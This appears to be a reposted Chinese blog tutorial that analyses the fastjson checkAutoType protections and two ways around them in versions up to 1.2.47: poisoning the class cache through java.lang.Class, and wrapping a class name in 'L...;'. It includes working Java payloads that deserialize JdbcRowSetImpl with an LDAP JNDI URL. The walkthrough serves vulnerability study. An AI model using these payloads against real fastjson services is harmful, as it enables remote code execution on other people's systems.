欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 产业 > fastjson-小于1.2.47绕过

fastjson-小于1.2.47绕过

2024/10/24 1:49:57 来源:https://blog.csdn.net/weixin_45436292/article/details/140880425  浏览:    关键词:fastjson-小于1.2.47绕过

参考视频:fastjson反序列化漏洞3-<=1.2.47绕过_哔哩哔哩_bilibili

分析版本

fastjson1.2.24

JDK 8u141

分析流程

分析fastjson1.2.25更新的源码,用JsonBcel链跟进

先看修改的地方

fastjson1.2.24

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {String typeName = lexer.scanSymbol(symbolTable, '"');Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

fastjson1.2.25

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {String typeName = lexer.scanSymbol(symbolTable, '"');Class<?> clazz = config.checkAutoType(typeName, null);

可以看到loadClass的方法,被替换了,主要的安全逻辑就在替换的方法里,跟进看替换的方法Class<?> clazz = config.checkAutoType(typeName, null);

里面是很多if语句,黑白名单判断(分析写在注释)

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {if (typeName == null) {return null;}final String className = typeName.replace('$', '.'); //替换下内部类符号if (autoTypeSupport || expectClass != null) {    //autoTypeSupport默认false,expectClass默认null,这个判断默认为falsefor (int i = 0; i < acceptList.length; ++i) {String accept = acceptList[i];     //白名单默认为空if (className.startsWith(accept)) {return TypeUtils.loadClass(typeName, defaultClassLoader);}}for (int i = 0; i < denyList.length; ++i) {String deny = denyList[i];    //黑名单,可以自己debug看看if (className.startsWith(deny)) {throw new JSONException("autoType is not support. " + typeName);}}}Class<?> clazz = TypeUtils.getClassFromMapping(typeName);//先在缓存中查找if (clazz == null) {clazz = deserializers.findClass(typeName);//缓存没有在已有的反序列化器中查找}if (clazz != null) { //找到类进入次判断if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { //做个判断throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}return clazz;}if (!autoTypeSupport) {//autoTypeSupport为truefor (int i = 0; i < denyList.length; ++i) {String deny = denyList[i];if (className.startsWith(deny)) {throw new JSONException("autoType is not support. " + typeName);}}for (int i = 0; i < acceptList.length; ++i) {String accept = acceptList[i];if (className.startsWith(accept)) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader);if (expectClass != null && expectClass.isAssignableFrom(clazz)) {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}return clazz;}}}if (autoTypeSupport || expectClass != null) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader);}if (clazz != null) {if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver) {throw new JSONException("autoType is not support. " + typeName);}if (expectClass != null) {if (expectClass.isAssignableFrom(clazz)) {return clazz;} else {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}}}if (!autoTypeSupport) {throw new JSONException("autoType is not support. " + typeName);}return clazz;
}

关于checkAutoType方法的流程图,我放在我的github上了Java反序列化学习 有帮助的话大家可以star一下

我在图中return的位置都拿绿色标记了,很明显我们要绕过检测必须控制流程走到return处。

攻击实现

autoTypeSupport参数为false

autoTypeSupport参数和白名单我们无法控制的条件下,我们发现只剩一个缓存加载的绕过方式了。下面看下能否利用。

发现缓存表mapping的put方式有两个位置,第一个位置很明显在初始化时被调用写入的缓存。

在这里插入图片描述

看第二个位置能否利用,是在loadClass里面,我们可以看到这个loadClass用法就是,在缓存中没找到的类加载时把这个类加进缓存中。

在这里插入图片描述

我们如果可以控制传参,并调用loadClass就可以把恶意类加入缓存中。之后继续找loadClass的调用

只有一处可能有利用点的地方,就是在MiscCodec下面,而MiscCodec继承了ObjectSerializer, ObjectDeserializer是个反序列化器。

if (clazz == Class.class) {return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

而MiscCodec的利用就是在加载默认的反序列化器时,Class的反序列化器也是它。

deserializers.put(Class.class, MiscCodec.instance);

所以绕过思路有了,我们先反序列化一个Class,它的值为恶意类,之后再反序列化恶意类。

写payload时,要注意传值,让程序执行到我们要调用的位置。

return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());这里strVal是我们要传的恶意类名,看下怎么赋值的。

//MiscCodec#deserialze
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {parser.resolveStatus = DefaultJSONParser.NONE;parser.accept(JSONToken.COMMA);if (lexer.token() == JSONToken.LITERAL_STRING) {if (!"val".equals(lexer.stringVal())) {           //注意这里不能抛出异常,如果抛出异常程序就走不到loadClass处了,所以我们传入的属性名应为valthrow new JSONException("syntax error");}lexer.nextToken();} else {throw new JSONException("syntax error");}parser.accept(JSONToken.COLON);objVal = parser.parse();parser.accept(JSONToken.RBRACE);
} else {objVal = parser.parse();
}

下面就能写出payload了

public class FastJsonBypass1 {public static void main(String[] args) throws Exception {String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:10389/cn=Exp,dc=example,dc=com\",\"autoCommit\":0}}";JSONObject jsonObject = JSON.parseObject(s);}
}

跟一下利用流程

先看Class的反序列化

//ParserConfig#checkAutoType
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);   //在缓存中找不到
if (clazz == null) {clazz = deserializers.findClass(typeName);              //可以找到反序列化器,也就是MiscCodec,返回Class
}if (clazz != null) {                                        //进入此循环if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { //期望类为空,不进入此循环throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}return clazz;   //返回Class
}

之后return调用

//defaultJSONParser#parseObject
ObjectDeserializer deserializer = config.getDeserializer(clazz);  //调用返回MiscCodec反序列化器
return deserializer.deserialze(this, clazz, fieldName); //MiscCodec.deserialze

MiscCodec.deserialze把传入的String(也就是com.sun.rowset.JdbcRowSetImpl),反序列化为Class对象

lexer.stringVal()==val

在这里插入图片描述

再往下走到

if (clazz == Class.class) {return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());  //loadClass(com.sun.rowset.JdbcRowSetImpl),并存入缓存
}

之后回到

//defaultJSONParser#parseObject
return deserializer.deserialze(this, clazz, fieldName);  //MiscCodec.deserialze

之后进入下一轮循环,也就是反序列化com.sun.rowset.JdbcRowSetImpl

就不在这写了,下面流程在 fastjson-流程分析中写过了。

autoTypeSupport参数为true

如果autoTypeSupport开启的情况下,跟进流程图可以看到先过黑白名单之后才加载和返回类。

在上面分析时,我们也能注意到,在loadClass中有对传入类名的处理,对数组类进行处理,把L;,[,直接去掉后加载,这里绕过黑名单很容易。

public static Class<?> loadClass(String className, ClassLoader classLoader) {if (className == null || className.length() == 0) {return null;}Class<?> clazz = mappings.get(className);if (clazz != null) {return clazz;}if (className.charAt(0) == '[') {Class<?> componentType = loadClass(className.substring(1), classLoader);return Array.newInstance(componentType, 0).getClass();}if (className.startsWith("L") && className.endsWith(";")) {String newClassName = className.substring(1, className.length() - 1);return loadClass(newClassName, classLoader);}

payload

public class FastJsonBypass1 {public static void main(String[] args) throws Exception {ParserConfig.getGlobalInstance().setAutoTypeSupport(true);   //开启autoTypeSupport参数String s = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:10389/cn=Exp,dc=example,dc=com\",\"autoCommit\":0}";JSONObject jsonObject = JSON.parseObject(s);}
}

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com